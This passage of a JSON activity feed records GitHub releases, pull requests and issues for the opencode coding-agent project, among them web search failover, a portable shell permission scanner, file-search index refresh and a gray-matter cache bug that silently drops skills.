          "timestamp": "2026-08-13T01:15:04Z",
          "labels": [],
          "author": "opencode-agent[bot]",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:d4d04d7feb15f696a8c2",
        "signalId": "github:anomalyco/opencode:release:369485660",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:release:369485660",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "release",
          "title": "v1.18.17",
          "text": "## Core ### Bugfixes - Made session compaction keep complete recent turns and produce clearer summaries for smaller models. - Added MERGE Gateway reasoning variants so those model options work correctly. (@MatthewFeroz) - Capped automatic session retries and added jitter to reduce repeated retry storms. - Enabled PDF attachments for GitHub Copilot models that advertise PDF vision support. (@stevenao) - Applied the correct sampling defaults to DeepSeek V4 Flash on supported providers. - Routed all Muse family models to the correct Meta system prompt. (@mreso) ## Desktop ### Bugfixes - Updated Chinese developer terminology to use more widely recognized translations. - Used the server's current default model instead of stale local config when choosing the default model. **Thank you to 6 community contributors:** - @mreso: - fix(session): route all Muse family models to the Meta system prompt (#41581) - @OpeOginni: - fix(ui): correct OC-2 weak icon color (#41504) - @peculiarnewbie: - feat(console): add go usage endpoint (#16513) - @stevenao: - fix(opencode): detect Copilot PDF input support (#41522) - @MatthewFeroz: - fix(provider): add Merge Gateway reasoning variants (#41867) - @skyzhao1223: - docs: fix broken DigitalOcean and Daytona links (#42048) - docs: fix provider display name and PAT typos (#42034)",
          "url": "https://github.com/anomalyco/opencode/releases/tag/v1.18.17",
          "createdAt": "2026-08-12T20:25:07Z",
          "updatedAt": "2026-08-12T20:25:07Z",
          "timestamp": "2026-08-12T20:25:07Z",
          "labels": [],
          "author": "opencode-agent[bot]",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:c6d0c64ca88071fa567d",
        "signalId": "github:anomalyco/opencode:pull_request:42354",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42354",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): add automatic web search routing",
          "text": "## What Add automatic provider selection and failover for V2 web search. Users can configure `websearch.provider` as `\"auto\"`, or select **Allow web search with automatic provider selection** on first use. Each search snapshots the currently registered providers, shuffles them once, and tries each provider at most once until one succeeds. Fixed provider selections and explicit request provider IDs remain strict and never fall back. ## How - `packages/schema` defines `WebSearch.AUTO` and the typed `WebSearch.Selection` config value. - `packages/core/src/websearch.ts` resolves explicit, fixed, and automatic routes. Automatic routes use Effect's seedable `Random.shuffle` and retry only existing `WebSearch.Request` failures. - `packages/core/src/tool/plugin/websearch.ts` updates first-use consent to persist `\"auto\"` while preserving fixed-provider and disabled choices. - Existing response, tool metadata, and server error contracts remain unchanged and expose only the provider that succeeded. ## Scope - No provider ranking, load measurement, retry delays, backoff, or per-provider retries. - Empty result sets remain successful and do not trigger fallback. - Existing persisted fixed-provider choices are not migrated. - No public attempted-provider list or new exhaustion error. ## Testing - `bun run test test/websearch.test.ts test/tool-websearch.test.ts` in `packages/core` (24 tests) - `bun typecheck` in `packages/core` - `bun run test test/config.test.ts` in `packages/schema` - `bun typecheck` in `packages/schema` - `bun typecheck` in `packages/plugin` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (34 packages) ## Flow ```mermaid flowchart TD Q[Web search query] --> E{Explicit provider?} E -- Yes --> S[Attempt explicit provider once] E -- No --> D{Configured or stored selection} D -- Fixed provider --> F[Attempt fixed provider once] D -- auto --> H[Snapshot and shuffle registered providers] H --> A[Attempt next provider] A -- Success, including empty results --> R[Return winning provider and results] A -- WebSearch.Request and providers remain --> A A -- Final WebSearch.Request --> X[Return final existing error] ```",
          "url": "https://github.com/anomalyco/opencode/pull/42354",
          "createdAt": "2026-08-13T16:19:06Z",
          "updatedAt": "2026-08-13T16:19:16Z",
          "timestamp": "2026-08-13T16:19:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:0e90f060572e759513fb",
        "signalId": "github:anomalyco/opencode:issue:42332",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42332",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Feature Request: Enable plugins per-agent at the config layer (not only globally)",
          "text": "## 中文描述 ### 背景 / Background 目前 `plugin` 数组在 `opencode.json` 中是**全局生效**的——所有插件一旦配置,就会对所有 agent 加载(包括 build、plan、general、explore 以及用户自定义 agent)。配置层没有任何按 agent 启用插件的手段。 当前行为 / Current behavior: ```json { \"plugin\": [ \"opencode-gemini-auth\", \"opencode-foo@1.2.3\" ] } ``` ### 需求 / Feature Request 希望插件能够**按 agent(代理)设置启用**,而不是只能全局启用。例如: ```json { \"plugin\": { \"opencode-foo@1.2.3\": { \"agents\": [\"build\", \"plan\"] } } } ``` 或类似(在 agent 下声明): ```json { \"agent\": { \"my-agent\": { \"plugin\": [\"opencode-foo@1.2.3\"] } } } ``` ### 与 #24953 的关系 / Relation to #24953 #24953 提出的是**插件 API 层**的 per-agent 工具可见性过滤(通过 `tool.definition` hook 在运行时隐藏工具)。本 issue 提出的是**配置层**的 per-agent 插件启用(在加载时决定哪些插件对哪些 agent 生效)。两者互补:前者控制\"工具是否出现在 LLM 上下文中\",后者控制\"插件本身是否加载\"——例如某个插件带有独立初始化/后台逻辑,仅运行时隐藏工具并不能阻止它加载执行。 ### 使用场景 / Use Cases 1. **权限隔离**:某些插件(如 MCP 相关、敏感操作插件)只应给特定的 agent 启用,避免其他 agent 意外触发。 2. **上下文与性能控制**:部分信息型/重量级插件不需要在所有 agent 中加载,按 agent 启用可减小上下文开销和启动成本。 3. **Agent 专业化**:让不同的 agent 拥有不同的工具集,而不是所有 agent 共享同一套全局插件。 ### 期望行为 / Expected Behavior - 支持在 `opencode.json` 中按 agent 配置插件启用; - 保持现有全局配置向后兼容(未指定 agent 的插件保持全局生效); - 若 agent 未指定插件,回退到全局插件配置; - 与 #24953 的运行时工具过滤方案协同工作。 ### 环境 / Environment - opencode 版本: 最新版(2026-08) - 平台: Linux --- ## English Description ### Background Currently the `plugin` array in `opencode.json` is **global** — once configured, a plugin is loaded for every agent (build, plan, general, explore, and any custom agents). There is no way at the config layer to enable plugins per-agent. ### Feature Request Allow plugins to be **enabled per-agent** instead of only globally. For example: ```json { \"plugin\": { \"opencode-foo@1.2.3\": { \"agents\": [\"build\", \"plan\"] } } } ``` Or alternatively, declared under the agent: ```json { \"agent\": { \"my-agent\": { \"plugin\": [\"opencode-foo@1.2.3\"] } } } ``` ### Relation to #24953 #24953 proposes **plugin API-level** per-agent tool visibility filtering (hiding tools at runtime via a `tool.definition` hook). This issue proposes **config-level** per-agent plugin enabling (deciding at load time which plugins apply to which agents). The two are complementary: the former controls \"whether tools appear in the LLM context\", the latter controls \"whether the plugin is loaded at all\" — a plugin with its own initialization or background logic still runs even if its tools are hidden at runtime. ### Use Cases 1. **Permission isolation**: plugins that are sensitive (e.g. MCP-related, privileged operations) should only be enabled for specific agents. 2. **Context & performance control**: info-heavy or heavyweight plugins don't need to load for every agent; per-agent enabling reduces context overhead and startup cost. 3. **Agent specialization**: give different agents different toolchains instead of one shared global plugin set. ### Expected Behavior - Support per-agent plugin enabling in `opencode.json`; - Keep backward compatibility with the existing global config (plugins without an agent restriction remain global); - Fall back to the global plugin list when an agent specifies none; - Work together with #24953's runtime tool filtering. ### Environment - opencode version: latest (2026-08) - Platform: Linux",
          "url": "https://github.com/anomalyco/opencode/issues/42332",
          "createdAt": "2026-08-13T14:02:54Z",
          "updatedAt": "2026-08-13T16:18:19Z",
          "timestamp": "2026-08-13T16:18:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "LazyGrep",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:dd6e8ee854e2b655ade0",
        "signalId": "github:anomalyco/opencode:pull_request:42353",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42353",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): prototype missing location recovery",
          "text": "## What Prototype a persistent recovery surface when a session's location cannot initialize. The transcript remains readable, the durable model identity remains visible in existing message chrome, and the normal composer is replaced with a focused action to move the session or copy its old path. A fixture-driven Storybook flow makes the missing, destination-selection, and recovered states directly iterable. ## Before / After **Before** 1. A session's directory is deleted. 2. Location-scoped model, permission, and form reads fail. 3. The durable session and transcript still exist, but the TUI presents secondary symptoms such as an unavailable model. 4. The user has no clear recovery action in the composer. **After (prototype)** 1. The session route retains the failed location synchronization state. 2. The transcript remains mounted. 3. The composer is replaced with `Session directory no longer exists`, the abbreviated path, and `Move session` / `Copy path` actions. 4. `Move session` opens the existing project-directory picker. 5. A successful destination sync clears the recovery state and restores the composer. ## How - `packages/tui/src/context/location.tsx` retains the latest location synchronization error and clears it before each retry. - `packages/tui/src/routes/session/index.tsx` gives location recovery priority in the composer switch and reuses `usePromptMove`. - `packages/tui/src/feature-plugins/system/storybook/session-location-missing.tsx` adds an interactive three-state prototype for rapid wording/layout iteration. ## Scope This is intentionally a draft prototype. - The client currently knows only that location initialization failed. It cannot prove the directory is missing rather than config, plugin, or catalog initialization failing. Production copy requires a typed server-side location status/error. - This PR does not fix orphaned-session move semantics, absolute `/cd` handling, or CLI HTTP error exits; those remain separate PRs. - The Storybook recovered state simulates the interaction outcome; it does not execute the server move endpoint. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/cli/tui/data.test.tsx` from `packages/tui` (41 passing) - Commit hook: `bun turbo typecheck --concurrency=3` (34 tasks passing) ## Demo Recording is currently blocked by OpenCode Drive control against this `origin/v2` checkout. Both installed `opencode-drive v1.4.3` and the synchronized `packages/drive` CLI: 1. Launch the service and headless TUI successfully. 2. Complete the simulation handshake and report `TUI default ready`. 3. Time out after 30 seconds on the first post-handshake `ui.state` RPC. 4. Reproduce with and without `--record`, before any prototype keypress. The Storybook flow is ready at `Storybook: Missing session directory` once Drive control is repaired. ## Flow ```mermaid flowchart TD A[Open durable session] --> B{Location sync succeeds?} B -- Yes --> C[Normal composer] B -- No --> D[Keep transcript visible] D --> E[Show recovery panel] E --> F[Open Move session] F --> G{Destination sync succeeds?} G -- Yes --> C G -- No --> E ```",
          "url": "https://github.com/anomalyco/opencode/pull/42353",
          "createdAt": "2026-08-13T16:18:08Z",
          "updatedAt": "2026-08-13T16:18:18Z",
          "timestamp": "2026-08-13T16:18:18Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:c73a1c10fcf22966b428",
        "signalId": "github:anomalyco/opencode:issue:42134",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42134",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Deepseek V4 Pro (new)",
          "text": "Hello! I'm having a problem when using DeepSeek V4 Pro. I get the following error message: \"The latest version of this model is only available hosted in China and requires explicit opt-in.\" Could you please help me understand how to enable it or resolve this issue?",
          "url": "https://github.com/anomalyco/opencode/issues/42134",
          "createdAt": "2026-08-12T19:55:15Z",
          "updatedAt": "2026-08-13T16:17:34Z",
          "timestamp": "2026-08-13T16:17:34Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "LeandroGue",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f2ea03fceee44c897587",
        "signalId": "github:anomalyco/opencode:pull_request:42348",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42348",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): refresh fallback file search",
          "text": "## What Keep the ripgrep-backed filename index fresh without restoring a recursive project filesystem watch. Fallback file search now serves its current index immediately and starts at most one background refresh when the last completed scan is 10 seconds old. A completed refresh atomically replaces the prior index. ## Before / After **Before** The fallback ran ripgrep once when a Location started. Files created, deleted, or renamed afterward remained absent or stale for the lifetime of that Location service. A recursive root watcher can detect those changes, but that topology was deliberately removed in #41096 because large projects consume an unbounded number of native watches. It is also broader than the bounded search scan for home and aggregate Locations. **After** A search always reads the current index without waiting. If that index is stale, the same request starts one scoped background ripgrep scan. Requests arriving during that scan keep using the prior complete index and do not start more scans. The next request after completion sees the refreshed paths. The initial scan retains the existing incremental behavior, so file search remains usable while a Location first indexes. ## How - `packages/core/src/filesystem/search.ts` tracks refresh completion time and one in-flight scan inside the existing Location-scoped search module. - Initial scan entries remain visible incrementally. - Later scans build a private file/directory index and publish it atomically on completion. - The implementation adds no watcher dependency, protocol change, or client-specific behavior. Desktop, web, and TUI continue consuming `GET /api/fs/find` unchanged. - `packages/core/test/filesystem/search.test.ts` verifies bounded refresh, non-blocking stale reads, atomic replacement, and scan deduplication with `TestClock` and explicit scan gates. ## Scope - This provides bounded eventual freshness for arbitrary external changes; it does not promise instantaneous updates. - This does not add exact create/delete/move hints from OpenCode-owned file mutations. - FFF-backed VCS Locations retain their existing native indexing behavior. ## Testing - `cd packages/core && bun run test test/filesystem/search.test.ts` - `cd packages/core && bun typecheck` - Repository pre-push typecheck: 34 tasks passed - `git diff --check` ## Flow ```mermaid sequenceDiagram participant UI as Desktop / Web / TUI participant Search as FileSystemSearch participant RG as Ripgrep UI->>Search: GET /api/fs/find Search-->>UI: Current fuzzy results alt Last scan is stale and no refresh is running Search->>RG: Start background scan UI->>Search: Next query Search-->>UI: Prior complete results RG-->>Search: Complete updated index Search->>Search: Atomically replace index UI->>Search: Subsequent query Search-->>UI: Refreshed results end ```",
          "url": "https://github.com/anomalyco/opencode/pull/42348",
          "createdAt": "2026-08-13T15:52:02Z",
          "updatedAt": "2026-08-13T16:13:33Z",
          "timestamp": "2026-08-13T16:13:33Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:f58af728ca7e97eaf11b",
        "signalId": "github:anomalyco/opencode:pull_request:42351",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42351",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): add portable shell permission scanner",
          "text": "## What Replace Core's tree-sitter Bash and PowerShell permission parsing with a dependency-free, fail-closed scanner. This removes the tree-sitter runtime, grammar packages, WASM assets, asset staging, and parser environment variables from Core and CLI builds. The scanner is 10.3 KB minified / 3.7 KB gzip and is bundled into published Core artifacts. ## Before / After **Before:** shell permission analysis initialized tree-sitter at runtime and depended on staged WASM assets. Unsupported syntax could not carry an explicit opaque permission boundary through every API and UI surface. **After:** supported Bash, zsh, and PowerShell command positions produce reusable command resources. Unsupported, dynamic, or uncertain syntax produces one opaque request, never a reusable save, preserves configured asks and denies, and conservatively requires external-directory authorization because it may conceal a directory change. ## Measurements | Metric | Before: tree-sitter | After: portable scanner | Change | | --- | ---: | ---: | ---: | | Core parser assets | 2,569,493 bytes | 10,334-byte minified scanner bundle | 99.6% smaller | | Gzipped scanner bundle | n/a | 3,703 bytes | n/a | | Bash parity throughput | 69,171 scans/sec | 148,581 scans/sec | 2.15x faster | | Current scanner microbenchmark | n/a | 540,881 scans/sec | Scanner-only measurement | | Runtime parser packages | 3 distinct packages | 0 | Removed | | Core parser shim files | 3 | 0 | Removed | | Runtime parser initialization | WASM loading and initialization | None | Removed | | Scanner tests | No portable-scanner suite | 565 tests / 855 assertions | Added | | Shell execution conformance | No execution oracle | 9,825 generated shell runs / 13,870 dispatches | Zero omissions | | PowerShell AST conformance | No official-parser oracle | 2,684 inputs / 2,246 supported scans | Zero omissions | The 2.15x throughput result is the apples-to-apples Bash parity corpus comparison. The 540,881 scans/sec result is the median of five complete invocations of the current nine-run scanner benchmark and is reported separately to avoid comparing different harnesses. Parser asset size is raw bytes; the 3.7 KB scanner gzip size is included only as an additional distribution reference. ## How - `packages/shell-scan` implements bounded Bash/zsh and PowerShell scanners with recursive command-substitution handling and explicit opaque reasons. - `packages/core/src/shell/parse.ts` adapts scanner output into command resources, reusable prefixes, and directory authorization boundaries. - `packages/core/src/permission.ts` evaluates opaque requests only against safe blanket rules while preserving scoped configured asks and denies. - `packages/core/src/tool/plugin/shell.ts` forwards opaque state, removes reusable saves, and asserts wildcard external-directory access for uncertain directories. - Protocol, server, client, ACP, app, and generated surfaces forward and render opaque requests consistently. - Core's build bundles the private scanner package into `dist`, so published Core has no scanner runtime dependency. - CLI/Core tree-sitter dependencies and parser assets are removed. TUI's independent Bash grammar remains for syntax highlighting. ```mermaid flowchart TD A[Shell tool input] --> B{Portable scanner} B -->|Supported syntax| C[Command resources and known directories] B -->|Dynamic or uncertain| D[Opaque command resource] C --> E[Normal permission evaluation] D --> F[No reusable save] D --> G[Scoped deny and ask preservation] D --> H[Wildcard external-directory check] E --> I[Execute after authorization] F --> I G --> I H --> I ``` ## Scope The scanner identifies shell-language command positions for supported Bash, zsh, and PowerShell syntax. Behavior delegated to an allowed external program, including package scripts, plugins, makefiles, interpreter files, and remote commands, remains that program's permission boundary. Unsupported or uncertain syntax intentionally fails closed as opaque. This PR does not replace the TUI's tree-sitter grammar used for syntax highlighting. ## Testing - `packages/shell-scan`: 565 tests, 855 assertions; typecheck passed. - `packages/core`: 51 focused shell parser, permission, and shell tool tests; typecheck and production build passed. - `packages/cli`: 10 focused ACP and node-asset tests; typecheck passed. - Protocol, Schema, Server, App, Client generation, and full repository typechecks passed. - Bash 5.3, system Bash 3.2, and zsh 5.9 execution oracle: 3,275 programs per shell, 13,870 observed fake-command dispatches, zero omissions. - PowerShell 7.3 official AST oracle: 2,684 inputs, 2,246 supported scans, zero omissions. - Windows CI runs the PowerShell oracle under both PowerShell 7 and Windows PowerShell 5.1. - Packed Core artifact contains the scanner implementation with no `@opencode-ai/shell-scan` runtime dependency. - Full push-hook repository typecheck: 35 packages passed.",
          "url": "https://github.com/anomalyco/opencode/pull/42351",
          "createdAt": "2026-08-13T16:08:42Z",
          "updatedAt": "2026-08-13T16:11:13Z",
          "timestamp": "2026-08-13T16:11:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:52f6a71366160cb134c1",
        "signalId": "github:anomalyco/opencode:pull_request:42352",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42352",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs(ecosystem): add opencode-obvious-grid plugin",
          "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? [Opencode Obvious Grid](https://github.com/ray062/opencode-obvious-grid) Adds opencode-obvious-grid to the Plugins table — a self-contained very visible and bold status-page plugin (aggregate view of every opencode session tokens/cost/graphs, ntfy + alarm notifications). Published on npm, cross-platform (WSL/Linux/macOS/Windows). ### How did you verify your code works? The added line matches the surrounding table's column alignment; no other changes in the diff. ### Screenshots / recordings <img width=\"3828\" height=\"2328\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ceec97cc-e736-4ed1-be40-3045f9a1fb7c\" /> <img width=\"3817\" height=\"2385\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b13ab366-e59a-4dbc-9ba4-ff203adb7964\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42352",
          "createdAt": "2026-08-13T16:09:54Z",
          "updatedAt": "2026-08-13T16:09:54Z",
          "timestamp": "2026-08-13T16:09:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "ray062",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:09e303ed214f801daea3",
        "signalId": "github:anomalyco/opencode:pull_request:42339",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42339",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): restore stable shell prompt alignment",
          "text": "## Summary - restore the pre-workdir shell prompt layout - let the running spinner occupy the same slot as the completed `$` prompt - keep shell commands full-width and prevent state transitions from shifting the command ## Checks - `bun typecheck` (`packages/tui`) - `bun test test/mini/entry.body.test.ts test/mini/scrollback.surface.test.ts` (`packages/tui`) - real `sleep 5` OpenTUI recording across running and completed states Requested by: @jlongster (James Long via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42339",
          "createdAt": "2026-08-13T14:32:59Z",
          "updatedAt": "2026-08-13T16:06:36Z",
          "timestamp": "2026-08-13T16:06:36Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:429ab1b4a1c2ad748cb5",
        "signalId": "github:anomalyco/opencode:pull_request:42218",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42218",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): refresh fallback file search",
          "text": "## Summary - invalidate the ripgrep fallback file index when the project filesystem changes - rebuild the snapshot on the next file search instead of requiring a daemon restart - cover newly created files appearing in subsequent searches ## Tests - `bun test test/filesystem/search.test.ts` - `bun typecheck` Requested by: @Hona (Luke Parker via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42218",
          "createdAt": "2026-08-13T02:09:41Z",
          "updatedAt": "2026-08-13T15:59:15Z",
          "timestamp": "2026-08-13T15:59:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f3eee252546548faddb2",
        "signalId": "github:anomalyco/opencode:issue:42350",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42350",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Skills silently vanish on re-parse: gray-matter cache is poisoned when strict-YAML frontmatter parse throws",
          "text": "## Summary Project skills (and potentially agents/commands parsed via `ConfigMarkdown.parse`) **silently vanish** whenever the same markdown content is parsed more than once in a single server process **and** its frontmatter is not strict-YAML-valid (e.g. an unquoted `description:` containing `: `). Root cause: **gray-matter 4.0.3 registers its module-level cache entry *before* parsing.** When strict YAML parsing throws, the never-parsed entry (`data: {}`) stays in `matter.cache` keyed by the file content. opencode's `sanitize()` fallback rescues the *first* parse per unique content per process — but every later `matter(content)` call hits the poisoned cache entry, returns `data: {}` without throwing (so the fallback never runs), and `Skill.add()` drops the file silently at the `isSkillFrontmatter` guard. This looks like the actual root cause behind #41751 (\"exactly N skills silently dropped in server mode\") and plausibly #41213. ## Minimal repro (gray-matter level) ```ts import matter from \"gray-matter\" const s = `---\\nname: x\\ndescription: Use this. Trigger keywords: \"e2e\", \"test\"\\n---\\nbody` try { matter(s) } catch (e) { /* YAMLException — opencode falls back to sanitize() here */ } console.log(matter(s).data) // => {} <- poisoned cache: no throw, no data, skill silently dropped ``` `packages/core/src/config/markdown.ts`: ```ts export function parse(content: string) { try { return matter(content) // 1st call: throws AND poisons matter.cache[content] } catch { return matter(sanitize(content)) // rescues the 1st call only } } ``` gray-matter 4.0.3, `index.js`: ```js let file = toFile(input); const cached = matter.cache[file.content]; if (!options) { if (cached) { ...return shallow copy... } matter.cache[file.content] = file; // <- cached BEFORE parseMatter() runs } return parseMatter(file, options); // <- throws on strict-YAML errors, cache entry stays empty ``` ## Server-level repro (v1.18.16, also reproduced on 1.18.18 via `bunx opencode-ai@1.18.18`) 1. A project with skills whose `description:` contains an unquoted `: ` (very common — e.g. `... Trigger keywords: \"foo\", \"bar\"`). 2. `opencode serve --port 4097` (with or without `OPENCODE_EXPERIMENTAL_WORKSPACES`). 3. `curl -H \"x-opencode-directory: <project>\" :4097/skill` → all skills present (first discovery: throw → sanitize fallback works). 4. `curl -X POST -H \"x-opencode-directory: <project>\" :4097/instance/dispose`, then `GET /skill` again → **all affected project skills gone** (count drops from e.g. 66 to 42), reproducible 15/15 times. No error or warning in logs — `init count=…` simply shrinks. Because the cache is keyed by *content*, the poisoning also crosses instances and directories: - **Mirror layouts** (`.claude/skills` / `.agents/skills` symlinked to `.opencode/skills`): the 3 scans see identical content; only the first-parsed path survives — this is also why no `duplicate skill name` warnings appear for project mirrors. - **Sibling forks**: once repo A's `add-e2e-test/SKILL.md` was parsed, repo B's byte-identical copy loads as `data:{}` — opening a second project in the same server silently loses its skills. We measured fresh instances loading 0/12, 3/15, 6/20, 1/13 of their skills depending on how much identical content earlier instances had already parsed (the survivors were exactly the files with unique content). - CLI/TUI single-shot runs are mostly unaffected (one discovery per process), matching the \"works in CLI, breaks in server mode\" observation in #41751. ## Suggested fix Bypass gray-matter's cache in `ConfigMarkdown.parse` — any truthy options object disables it: ```ts export function parse(content: string) { try { return matter(content, {}) // no cache read/write -> no poisoning } catch { return matter(sanitize(content), {}) } } ``` (Or `delete matter.cache[content]` before the fallback.) Skill discovery re-parses at most a few hundred small files per instance creation, so losing the cache is negligible. Additionally, `Skill.add()`'s `isSkillFrontmatter` failure path could log a warning instead of silently returning — that would have made this diagnosable from logs. ## Workaround for affected users Make skill frontmatter strict-YAML valid, e.g. convert unquoted colon-containing descriptions to block scalars (`description: |-`). After that, the first parse never throws, nothing is poisoned, and server-mode discovery is stable across `/instance/dispose` (verified: 8/8 full loads on the same previously-affected server). ## Environment - opencode v1.18.16 (homebrew) and v1.18.18 (`bunx opencode-ai`), macOS arm64, Bun 1.3.14 - gray-matter 4.0.3 (as pinned by `packages/core`)",
          "url": "https://github.com/anomalyco/opencode/issues/42350",
          "createdAt": "2026-08-13T15:53:53Z",
          "updatedAt": "2026-08-13T15:55:18Z",
          "timestamp": "2026-08-13T15:55:18Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "craftsamo",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:30d0c364e45a4280662e",
        "signalId": "github:anomalyco/opencode:issue:42349",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42349",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Desktop: option to minimize to tray / keep running when window is closed",
          "text": "### Summary On Windows, clicking the window close button (x) quits the OpenCode desktop app entirely. When the last window is closed, `window-all-closed` calls `app.quit()` (see `packages/desktop/src/main/index.ts`). I would like an option so that closing the window minimizes to the system tray / keeps the app running in the background instead of quitting, similar to apps like Slack or Discord. This is useful because ongoing agent runs (long tool calls, background tasks) keep executing, and I don't want to lose them just by clicking the window close button. ### Feature request - Add a setting (e.g. in Settings, or a `close_to_tray` / `minimize_on_close` config) that makes the x button hide the window instead of quitting the app. - Show a tray icon (currently there is no Tray usage in the desktop main process) so the app can be restored from the tray. - On macOS the existing `window-all-closed` behavior (app stays running) could stay as-is; this is mainly for Windows/Linux. ### Additional context - Desktop app version: `ai.opencode.desktop` (Electron-based), package `packages/desktop` - Current behavior source: `packages/desktop/src/main/index.ts` -> `app.on(\"window-all-closed\", () => { if (process.platform === \"darwin\") return; app.quit() })` - No tray or `BrowserWindow.hide()` usage exists today. Thanks for considering!",
          "url": "https://github.com/anomalyco/opencode/issues/42349",
          "createdAt": "2026-08-13T15:53:32Z",
          "updatedAt": "2026-08-13T15:55:04Z",
          "timestamp": "2026-08-13T15:55:04Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "DobeShadow",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:cec9b2a277c4285a7eef",
        "signalId": "github:anomalyco/opencode:pull_request:40427",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
